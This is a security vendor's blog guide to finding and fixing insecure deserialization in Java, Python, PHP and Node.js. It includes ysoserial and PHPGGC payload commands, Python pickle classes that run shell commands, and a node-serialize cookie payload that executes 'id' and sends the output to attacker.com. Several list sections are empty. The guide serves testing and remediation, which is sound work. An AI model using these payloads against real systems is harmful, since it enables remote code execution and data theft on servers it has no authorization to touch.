Insecure Deserialization Testing: Java, Python, and PHP

In 2017, an attacker hit a financial services company's session management endpoint with a single HTTP request. The payload was a Base64-encoded blob tucked inside a cookie — nothing a WAF would flag as inherently suspicious. The server dutifully decoded it, handed it to Java's ObjectInputStream, and executed an OS command that staged the first foothold in a network compromise that lasted eleven months. The root cause was insecure deserialization. The fix, once discovered, was a one-line code change. The cleanup cost millions.

Insecure deserialization has appeared in the OWASP Top 10 not because it is common — it is relatively rare compared to injection flaws — but because when it is present, it is almost always critical. Remote code execution with no authentication, full server compromise from a single tampered cookie: the blast radius is about as large as vulnerabilities get. This guide covers how to find and test for insecure deserialization across the three ecosystems where it appears most often: Java, Python, and PHP, plus a look at Node.js patterns. For each ecosystem, the mechanics are different, but the underlying question is always the same — does the application deserialize attacker-controlled data using a format that supports arbitrary code execution?

How Deserialization Works — and Why It Goes Wrong

Serialization is the process of converting an in-memory object into a byte stream that can be stored or transmitted. Deserialization is the reverse: reconstructing a live object from that byte stream. Applications serialize objects for many legitimate reasons — persisting session state, passing objects between services, caching expensive computations, sending objects over message queues.

The problem arises when a runtime's native deserialization mechanism is powerful enough to execute arbitrary code as a side effect of object reconstruction. This isn't a bug in a single library — it's a design-level property of certain serialization formats. Java's native serialization, Python's pickle, and PHP's unserialize() all share this characteristic: they can instantiate any class available on the classpath/interpreter at the point of deserialization, and they invoke lifecycle methods (constructors, magic methods, finalizers) automatically.

When an attacker controls the byte stream fed into such a deserializer, they effectively control which classes get instantiated and which methods get called. The art of exploitation is finding a gadget chain — a sequence of classes already present in the application's dependencies, whose automatic method calls can be chained together to produce a useful primitive like arbitrary OS command execution or file write.

Java Deserialization

The Magic Bytes

Java's native serialization format has a fixed two-byte magic header: AC ED (decimal 172 237). When Base64-encoded, a serialized Java object always starts with rO0. This is your first indicator when scanning HTTP traffic.

Look for rO0 in:

A quick grep across intercepted traffic for the pattern rO0AB (the Base64 of AC ED 00 05, the full four-byte Java serialization header including stream version) will surface most candidates immediately.

Gadget Chains and ysoserial

The exploitation of Java deserialization depends entirely on what is on the classpath. The landmark tool for this is ysoserial, which contains pre-built gadget chains for the most commonly found Java libraries. Each chain is named after the library it exploits. The most historically significant:

Chain Library Commonly Found In
CommonsCollections1–7 Apache Commons Collections <= 3.2.1 / 4.0 JBoss, WebSphere, Weblogic, Jenkins
Spring1, Spring2 Spring Framework <= 4.2.4 Spring MVC applications
Groovy1 Groovy <= 2.4.3 Jenkins, Grails applications
JRMPClient JDK RMI subsystem Any Java application with RMI exposed
Hibernate1 Hibernate ORM JPA applications

Important: only use ysoserial against systems you are authorized to test. The payloads execute OS commands on the server.

The basic workflow for generating a test payload (using a DNS callback to confirm execution without a destructive command):

# Generate a payload that triggers a DNS lookup (out-of-band detection)
# Replace YOUR-COLLABORATOR-DOMAIN with a Burp Collaborator or interactsh domain
java -jar ysoserial.jar CommonsCollections1 \
  'nslookup YOUR-COLLABORATOR-DOMAIN' | base64 -w0

# For a safer detection-only approach, use a sleep payload and measure response time:
java -jar ysoserial.jar CommonsCollections1 'sleep 5' | base64 -w0

# Inject the result into the target parameter, e.g. a cookie:
# Cookie: session=rO0ABXNyADJvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMu...

If the server responds five seconds later than baseline for a sleep payload, you have confirmed blind RCE. DNS-based detection is cleaner — a callback to your collaborator domain confirms execution without depending on response timing.

CommonsCollections in Detail

The CommonsCollections1 chain (discovered by Chris Frohoff and published at AppSecCali 2015) works because Apache Commons Collections InvokerTransformer can be used to invoke arbitrary methods via reflection. The chain looks roughly like this:

// Simplified view of the CommonsCollections1 gadget chain
// (For authorized testing reference — not a complete exploit)

// The chain entry point: a BadAttributeValueExpException is deserialized.
// Its readObject() calls toString() on a member field.
// That field is a TiedMapEntry, whose toString() calls getValue().
// getValue() triggers the LazyMap, which invokes the Transformer chain.
// The Transformer chain uses InvokerTransformer to call:
//   Runtime.class
//     .getMethod("exec", String.class)
//     .invoke(Runtime.getRuntime(), command)

// Key library classes involved:
// - org.apache.commons.collections.functors.InvokerTransformer
// - org.apache.commons.collections.functors.ChainedTransformer
// - org.apache.commons.collections.keyvalue.TiedMapEntry
// - org.apache.commons.collections.map.LazyMap

The Spring Framework chains abuse org.springframework.core.SerializableTypeWrapper and reflection utilities to achieve similar results. If your target runs Spring and you see serialized objects in request parameters, Spring1 and Spring2 are your first test payloads after the CommonsCollections family.

Where to Look in Java Applications

Beyond HTTP cookies, Java deserialization vulnerabilities commonly appear in:

Python Pickle Exploitation

Why Pickle Is Dangerous by Design

Python's pickle module documentation states plainly: "The pickle module is not secure. Only unpickle data you trust." Despite this warning appearing in the official docs since Python 2, pickled data continues to appear in session cookies, cache entries, and inter-service message queues in production applications.

The danger stems from the __reduce__ method. When an object is pickled, Python calls __reduce__ to get a tuple describing how to reconstruct the object. That tuple is (callable, args) — meaning any callable and any arguments. When unpickled, Python calls callable(*args). If an attacker can write a malicious __reduce__, they control exactly what gets executed at unpickle time.

# Malicious pickle payload (authorized testing only)
# This is the fundamental pattern — understand it to detect it

import pickle
import os
import base64

class MaliciousPayload:
    def __reduce__(self):
        # This executes on the server during unpickling
        return (os.system, ('id',))

# Serialize to bytes, then Base64-encode for HTTP transport
payload_bytes = pickle.dumps(MaliciousPayload())
print(base64.b64encode(payload_bytes).decode())

# Output starts with: gASVK...
# The pickle opcode stream starts with \x80\x04 (protocol 4)
# or \x80\x02 (protocol 2, most common in legacy apps)

A more practical payload for out-of-band detection:

# DNS callback payload using subprocess (authorized testing only)
import pickle, base64, os

class DNSCallback:
    def __reduce__(self):
        cmd = 'nslookup YOUR-COLLABORATOR-DOMAIN'
        return (os.system, (cmd,))

print(base64.b64encode(pickle.dumps(DNSCallback())).decode())

Identifying Pickle in the Wild

Python pickle streams have recognizable byte-level signatures depending on protocol version:

Protocol Magic Bytes (hex) Base64 Prefix
Protocol 0 (text) (none — starts with opcodes as ASCII) Variable
Protocol 2 80 02 gAI
Protocol 3 80 03 gAS or gAN
Protocol 4 80 04 gASV
Protocol 5 80 05 gAUV

When scanning, look for Base64 values in cookies, POST bodies, and HTTP headers that decode to these byte patterns. Common places pickle surfaces in real applications:

Testing Approach for Python Applications

When you identify a session cookie or parameter that appears to contain a pickle stream, the testing process is:

  1. Decode the value from Base64 and confirm the magic bytes match a pickle protocol
  2. Use pickletools.dis() to disassemble the pickle stream and understand its structure (safely, without executing it)
  3. Craft a replacement payload with a __reduce__ that issues a DNS callback or sleep
  4. Base64-encode the payload, replace the original cookie/parameter value, and send the request
  5. Observe whether your callback fires or whether a timing delay is introduced
# Safe disassembly of a suspected pickle (does NOT execute the payload)
import pickletools
import base64

suspected_value = "gASVKAAAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUjA1pZCA+IC90bXAvb3V0lIWUUpQu"

try:
    raw = base64.b64decode(suspected_value)
    pickletools.dis(raw)  # Prints opcode stream without executing
except Exception as e:
    print(f"Not a valid pickle stream: {e}")

PHP Object Injection

How PHP Unserialize Works

PHP's unserialize() function reconstructs PHP objects from a string representation. The format is compact and human-readable: O:4:"User":2:{s:4:"name";s:5:"Alice";s:3:"age";i:30;}. That string tells PHP: instantiate a User object with two properties. When PHP instantiates that object during deserialization, it automatically calls two magic methods if they are defined on the class: __wakeup() (called immediately on deserialization) and __destruct() (called when the object is garbage collected).

If an attacker can control the string passed to unserialize(), they can inject any class that is currently loaded into the PHP runtime — not just the class the developer intended — and trigger the execution of any __wakeup() or __destruct() in those classes. This is PHP Object Injection.

POP Chains

A POP (Property-Oriented Programming) chain is the PHP equivalent of a Java gadget chain. It is a sequence of classes in the application's codebase or its Composer dependencies whose magic methods, when chained together through controlled property values, produce a useful exploit primitive.

The canonical detection target is any class whose __destruct() or __wakeup() performs file operations, eval, or shell execution with values derived from object properties. In large PHP frameworks and CMSes, these are surprisingly common. Notable historical examples:

Finding the Entry Point

Source-level hunting for unserialize() with user-controlled input:

# Grep for unserialize() calls in PHP source
grep -rn "unserialize(" /var/www/html/ --include="*.php"

# Look specifically for unserialize with user-supplied data
grep -rn "unserialize(\$_" /var/www/html/ --include="*.php"
grep -rn "unserialize(base64_decode" /var/www/html/ --include="*.php"

# Also check: cookie values passed to unserialize
grep -rn 'unserialize.*COOKIE' /var/www/html/ --include="*.php"
grep -rn 'unserialize.*GET\|unserialize.*POST' /var/www/html/ --include="*.php"

Black-box indicators of PHP serialized data in HTTP parameters:

Crafting PHP Object Injection Payloads

Once you have identified a sink (unserialize() called on attacker-controlled data) and the application's class inventory (from source access or by fingerprinting the framework), use PHPGGC to generate payloads:

# List available gadget chains for a given framework
phpggc -l Laravel
phpggc -l Symfony
phpggc -l Wordpress

# Generate a Laravel RCE payload (authorized testing only)
phpggc Laravel/RCE1 system 'id'

# Generate base64-encoded payload for cookie injection
phpggc -b Laravel/RCE1 system 'id'

# Example: testing a vulnerable endpoint
# Assume the app reads: $data = unserialize(base64_decode($_COOKIE['user_prefs']));
curl -b "user_prefs=$(phpggc -b Laravel/RCE1 system id)" https://target.example.com/dashboard

When source is unavailable, a non-destructive test is to inject a serialized object that simply references a non-existent class and observe whether the application throws a class-not-found error — that error confirms unserialize() is being called on your input. From there, you enumerate the class inventory by injecting class names from known framework versions until one resolves without error.

The __wakeup Bypass (CVE-2016-7124)

PHP had a quirk that became a weapon: if you declare more properties in the serialized string than the object class has defined, PHP skips calling __wakeup() during deserialization. This was used to bypass security checks placed in __wakeup() by increasing the property count in the payload: O:4:"User":3:{...} where User only has 2 properties. This was patched in PHP 7.0.10+, but it remains relevant for older applications.

Node.js and JavaScript Deserialization

node-serialize and IIFE Patterns

JavaScript's native JSON serialization is safe — JSON cannot represent executable code. The danger appears in third-party packages that extend serialization to handle functions and complex objects. The node-serialize package (npm) is the canonical example.

node-serialize serializes functions by wrapping them in a string and evaluating them on deserialize. The attack pattern is the IIFE (Immediately Invoked Function Expression):

// Vulnerable application code pattern
const serialize = require('node-serialize');
const obj = serialize.unserialize(req.cookies.profile);

// Malicious payload in the 'profile' cookie
// The _$$ND_FUNC$$_ prefix tells node-serialize this is a function
{
  "username": "_$$ND_FUNC$$_function(){\
    require('child_process').exec('id', function(error, stdout) {\
      require('http').get('http://attacker.com/?o='+stdout);\
    });\
  }()"
}

// Note the () at the end — this is the IIFE: the function is both defined
// and immediately called during deserialization.
// Without the trailing (), the function is stored but not executed.
// With (), it executes immediately.

Other Node.js serialization libraries to scrutinize:

Detection Techniques for Automated Scanning

What Automated Scanners Can Detect

There are concrete, reliable signals that automated scanners — including Ironimo — use to flag deserialization vulnerabilities:

What Automated Scanners Cannot Reliably Detect

Be honest about limitations. Automated scanning has blind spots with deserialization:

Remediation

The Primary Defense: Don't Use Native Serialization for Untrusted Input

The most effective remediation is architectural. If you are serializing data for transport or storage and that data might ever be read from an untrusted source, use a format that cannot represent executable objects:

Language-Specific Controls

Java: Use ObjectInputFilter (introduced in Java 9, backported via JEP 290 to Java 6/7/8). Create an allowlist of classes that are legitimate to deserialize:

// Java deserialization filter — allowlist approach
ObjectInputStream ois = new ObjectInputStream(inputStream);
ois.setObjectInputFilter(info -> {
    Class<?> cls = info.serialClass();
    if (cls == null) return ObjectInputFilter.Status.UNDECIDED;
    // Only allow specific safe classes
    if (cls == MySessionData.class || cls == UserPreferences.class) {
        return ObjectInputFilter.Status.ALLOWED;
    }
    return ObjectInputFilter.Status.REJECTED;
});

Additionally, deploy the Serial Killer or NotSoSerial Java agent in your JVM to enforce deserialization filtering at the JVM level as a defense-in-depth measure.

Python: Replace all pickle usage for untrusted data with json, marshmallow, or pydantic. If you must deserialize complex objects, use __reduce_ex__ with a strict allowlist or use a safe serialization library like cattrs with explicit converters. For Django sessions, ensure SESSION_SERIALIZER = 'django.contrib.sessions.serializers.JSONSerializer' (the default since Django 1.6 — but verify legacy apps haven't overridden it).

PHP: Avoid passing any user-controlled data to unserialize(). For session data, use JSON: session_set_serialization_handler('json') (PHP 5.5.4+). Where unserialize is unavoidable for legacy reasons, use the allowed_classes option introduced in PHP 7.0:

<?php
// PHP 7.0+ allowed_classes restriction
$data = unserialize($input, ['allowed_classes' => ['UserPreferences', 'CartData']]);

// Even better: pass false to disallow all class instantiation
// (safe only if you only need arrays and scalar values)
$data = unserialize($input, ['allowed_classes' => false]);

Node.js: Remove node-serialize from your dependency tree. Use JSON.parse() for all user-supplied data. If you need to transfer complex state, define explicit serialization/deserialization functions that validate each field individually rather than using generic serializers.

Defense in Depth

Even after fixing the primary code path, these controls reduce risk further:


Insecure deserialization sits at an uncomfortable intersection: it requires application-level access to find (a scanner needs to observe the serialized data in transit), framework-level knowledge to exploit (the right gadget chain for the right library version), and architectural change to truly fix (not just a patch, but a format migration). That combination makes it persistently underreported in manual assessments and underdetected in automated scans. The first step is knowing what to look for — and the magic bytes are almost always the start of that story.

Ironimo runs Kali Linux-powered scanning that flags exposed deserialization endpoints, detects base64-encoded Java serialized objects in request parameters, and tests common gadget chains against your applications.

Start free scan

← Back to Blog